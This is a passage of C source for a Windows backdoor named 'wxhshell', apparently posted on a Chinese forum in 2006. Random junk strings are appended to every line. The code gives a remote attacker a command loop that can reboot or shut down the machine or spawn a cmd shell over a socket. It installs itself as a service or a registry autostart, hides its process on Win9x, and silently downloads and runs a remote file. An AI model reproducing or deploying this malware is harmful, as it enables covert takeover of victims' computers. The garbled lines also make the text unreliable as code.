  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #&HarBxx  
  } w^vK7Z 1$  
  else { 0o\=0bH&s  
J0{WqA.P  
    switch(cmd[0]) { G/^5P5y%@  
  'SXpb?CZ  
  // 帮助 "1\RdTw  
  case '?': { /-cX(z 7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A*?/F:E  
    break; u+"hr"}${  
  } 8wNU2yH+D  
  // 安装 3vEjf  
  case 'i': { e=NQY8?  
    if(Install()) %QlBFl0a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;U5x'}%0]  
    else Ib<5u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); omDi<-  
    break; `XRb:d^  
    } KfN`ZZ<  
  // 卸载 Yqj.z|}Nb  
  case 'r': {  \1c`)  
    if(Uninstall()) zke~!"iq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +P<w<GfQ  
    else -t706(#k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +BTNm66Z  
    break; )l81R  
    } 2+hfbFu,1  
  // 显示 wxhshell 所在路径 D=Yag!1  
  case 'p': { &bRxy`ZH  
    char svExeFile[MAX_PATH]; % /wP2O<  
    strcpy(svExeFile,"\n\r"); 0zk T8'v  
      strcat(svExeFile,ExeFile); c&iK+qvh{  
        send(wsh,svExeFile,strlen(svExeFile),0); -p]`(S%  
    break; AfbA.-  
    } R2Fh^x  
  // 重启 5d>YE  
  case 'b': { 3C5D~9v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EIl$"^-  
    if(Boot(REBOOT)) >@92K]J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [n@!=T  
    else { =Z$=-\<x0.  
    closesocket(wsh); kA9 X!)2w  
    ExitThread(0); \Q BpgMi(  
    } g{f>j d  
    break; 6d?2{_},  
    } Z6 |'k:R8  
  // 关机 qS`|=5f  
  case 'd': { F(kRAe;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oew]ijnB  
    if(Boot(SHUTDOWN)) "vHAp55B{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W Y qL  
    else { M`,Z#)Af  
    closesocket(wsh); 3Tte8]0  
    ExitThread(0); #p:jKAc3  
    } f;; S  
    break; )@&?i.  
    } d?+oT0pCH  
  // 获取shell bT6)(lm  
  case 's': { ff+9(P>*  
    CmdShell(wsh); =2V;B  
    closesocket(wsh); m"> =QP  
    ExitThread(0); 7XI4=O};&%  
    break; ,h(+\^ ?,  
  } Ydd>A\v\;  
  // 退出 i)^ZH#G p  
  case 'x': { W1,L>Az^Ts  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |$-d, ] V  
    CloseIt(wsh); -JW6@L@  
    break; ="nrq&2  
    } M:q ;z(  
  // 离开 ""KN?qh9  
  case 'q': { *'S%gR=Aa+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }(7QJk5 j  
    closesocket(wsh); 2\8\D^   
    WSACleanup(); g(F*Y> hk  
    exit(1); h],%va[  
    break; ReGb .pf  
        } /8-VC"  
  } 2dlV'U_g  
  } .KMi)1L)  
E3C[o! 5  
  // 提示信息 ^cXL4*_=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); blkJm9]v  
} ^+l\YB7pD  
  } ~;4k UJD  
+W3>Yg%)X  
  return; B*?PB]  
} >+LgJo R  
sNpBTG@{l  
// shell模块句柄 m6ws #%|[  
int CmdShell(SOCKET sock) '|R@k_nx  
{ xW ZcSIH!  
STARTUPINFO si; j24  
ZeroMemory(&si,sizeof(si)); KO;61y:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wg~`Md  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .*ovIU8  
PROCESS_INFORMATION ProcessInfo; SX<mj  
char cmdline[]="cmd"; QKkr~?sTO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eBRP%<=>D  
  return 0; g#2X'%&+  
} s5 'nWMo  
"$V2$  
// 自身启动模式 *M<=K.*\G  
int StartFromService(void) aw~EK0yU   
{ :pu{3-n.  
typedef struct %hb5C 4q  
{ tLXw&hFk`g  
  DWORD ExitStatus; 4'=N{.TtO  
  DWORD PebBaseAddress; pNWp3+a'  
  DWORD AffinityMask; T/6=A$4 #  
  DWORD BasePriority; !27]1%Aw  
  ULONG UniqueProcessId; ?i=!UN  
  ULONG InheritedFromUniqueProcessId; <vuX " 8  
}   PROCESS_BASIC_INFORMATION; 25[/'7_"  
?a9k5@s  
PROCNTQSIP NtQueryInformationProcess; `5&V}"lB  
W)~.o/;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %$KO]   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A>2p/iMc  
JU.%;e7  
  HANDLE             hProcess; Bb"4^EOZ,  
  PROCESS_BASIC_INFORMATION pbi; $NRb'   
# Kr.!uD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E\N=p&g$  
  if(NULL == hInst ) return 0; j]D =\  
,F Vy:"FR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W+S; Do  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O; sQPG,v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [k}\{i>  
}]?G"f t K  
  if (!NtQueryInformationProcess) return 0; )eMh,r  
)fL*Ws6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o+Z9h1z%,  
  if(!hProcess) return 0; X($SBUS6  
zL}hFmh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D.!7jA#  
04d$_1:}a  
  CloseHandle(hProcess); EC&,0i4n:  
%.U{):lNx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {3Wc<&D C1  
if(hProcess==NULL) return 0; k4rB S  
W (=B H  
HMODULE hMod; ,RO(k4  
char procName[255]; .p}Kl$K]  
unsigned long cbNeeded; /CE d 14.  
x@}Fn:c!5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,O!aRvzap  
Z$XpoDbOy  
  CloseHandle(hProcess); LS$82UB&  
L:Eb(z/D  
if(strstr(procName,"services")) return 1; // 以服务启动 PtOnj)Q  
KHN ,SB  
  return 0; // 注册表启动 .Y.# d7TA  
} mK4|=Q  
jsQ$.)nO  
// 主模块 j!)p NZW.<  
int StartWxhshell(LPSTR lpCmdLine) .x8$PXjPG  
{ @/FX7O{n:  
  SOCKET wsl; 1U7HS2  
BOOL val=TRUE; XCriZ|s  
  int port=0; 3~la/$?p0  
  struct sockaddr_in door; b15qy?`y  
wm71,R1  
  if(wscfg.ws_autoins) Install(); f|0QN#$  
4pT|r6!<  
port=atoi(lpCmdLine); ;# j 82  
gAP}KR#T  
if(port<=0) port=wscfg.ws_port; qQvb;jO  
-rlX<(pl)  
  WSADATA data; Fo~v.+^?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RkwY3 s"  
j56 An6g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0&@ pX~h:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c<e\JJY5?  
  door.sin_family = AF_INET; $twF93u$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I!D*(>  
  door.sin_port = htons(port); J7vpCw2ni  
3fTI&2:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $(=1A>40  
closesocket(wsl);  0 XzO`*  
return 1; NkI:  
} $:wM'&M  
![^h<Om  
  if(listen(wsl,2) == INVALID_SOCKET) { jRAL(r|  
closesocket(wsl); 0g-ESf``{n  
return 1; q(Q9FonU  
} +r_[Tj|Er  
  Wxhshell(wsl); FG:BRS<m~  
  WSACleanup(); ppKCY4  
1+($"$ZC&B  
return 0; Beg5[4@  
*rT(dp!Y  
} gw T,D.'Ut  
V0i$"|F+ E  
// 以NT服务方式启动 wP"|$HN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F\bI6gj  
{ GGtrH~zx  
DWORD   status = 0; pSFWNWQ'B  
  DWORD   specificError = 0xfffffff; lJ#>Y5Qg  
v19`7qgR(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d?Cl04  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /|AuI qW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ' qE  
  serviceStatus.dwWin32ExitCode     = 0; 0B/a$NC  
  serviceStatus.dwServiceSpecificExitCode = 0; 926oM77  
  serviceStatus.dwCheckPoint       = 0; "@$STptkc  
  serviceStatus.dwWaitHint       = 0; ?UDO%`X  
)A=g# D#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _<Yo2,1^  
  if (hServiceStatusHandle==0) return; %WR"85  
*`T &Dlt'8  
status = GetLastError(); H_nJST<v`  
  if (status!=NO_ERROR) 7+4"+CA  
{ ^/vWK\-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sb.SpF>   
    serviceStatus.dwCheckPoint       = 0; |>GIPfVT  
    serviceStatus.dwWaitHint       = 0; ^#se4qQ  
    serviceStatus.dwWin32ExitCode     = status; -74T C  
    serviceStatus.dwServiceSpecificExitCode = specificError; >/bK?yT<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DjvgKy=Jr_  
    return; 0EXNq*=EE  
  } y/eX(l<{  
Un{ln*AR\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1s[-2^D+EM  
  serviceStatus.dwCheckPoint       = 0; HYmXPpse  
  serviceStatus.dwWaitHint       = 0; hATy 3*4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |LH*)GrD*t  
} k|'Mh0G0  
caD;V(  
// 处理NT服务事件,比如:启动、停止 va2A@U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P@`"MNS  
{ f om"8iL1  
switch(fdwControl) e}AJxBE  
{ X(28 xbd|  
case SERVICE_CONTROL_STOP: ;NeEgqW "  
  serviceStatus.dwWin32ExitCode = 0; 1G.gPx[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?ovGYzUZ  
  serviceStatus.dwCheckPoint   = 0; 1:UC\WW  
  serviceStatus.dwWaitHint     = 0; JZxF)] ^  
  { *Bsmn!_cB{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F*:NKT d  
  } f`=T@nA  
  return; ^VPl>jTg  
case SERVICE_CONTROL_PAUSE: )m;qv'=!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n ]}2O 4j  
  break; ?<^AXLiKV  
case SERVICE_CONTROL_CONTINUE: ?I#hrv@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  WPKTX,k  
  break; UyKG$6F?3  
case SERVICE_CONTROL_INTERROGATE:  j)6B^!  
  break; n3j h\  
}; $IZZ`Z]B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 <S&~q  
} [;YBX] t  
>I~z7 JS  
// 标准应用程序主函数 G$uOk?R#5c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }px]   
{ Kg-X]yu*0  
IF}c*uGj}  
// 获取操作系统版本 l0xFt ~l  
OsIsNt=GetOsVer(); x]cZm^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8lSn*;S,  
/C2f;h(1  
  // 从命令行安装 v1g5(  
  if(strpbrk(lpCmdLine,"iI")) Install(); UDtbfc7bk  
4,ynt&  
  // 下载执行文件 Ltd?#HP  
if(wscfg.ws_downexe) { y@\Q@ 9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]pTw]SK  
  WinExec(wscfg.ws_filenam,SW_HIDE); E wsq0D  
} HKN"$(Q  
1y-lZ}s_  
if(!OsIsNt) { 9|A-oS  
// 如果时win9x,隐藏进程并且设置为注册表启动 Mr,y|   
HideProc(); bRz^=  
StartWxhshell(lpCmdLine); RXS|-_$  
} sxwW9_C  
else }Rxg E~ F  
  if(StartFromService()) "`*a)'.'^c  
  // 以服务方式启动 yXo0z_ G  
  StartServiceCtrlDispatcher(DispatchTable); q,JA~GG  
else C;:L~)C@t  
  // 普通方式启动 6cT~irP  
  StartWxhshell(lpCmdLine); i)PV{3v$J  
lc?mKW9  
return 0; b_gN?F7_  
}
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只看该作者 1 发表于: 2006-10-10
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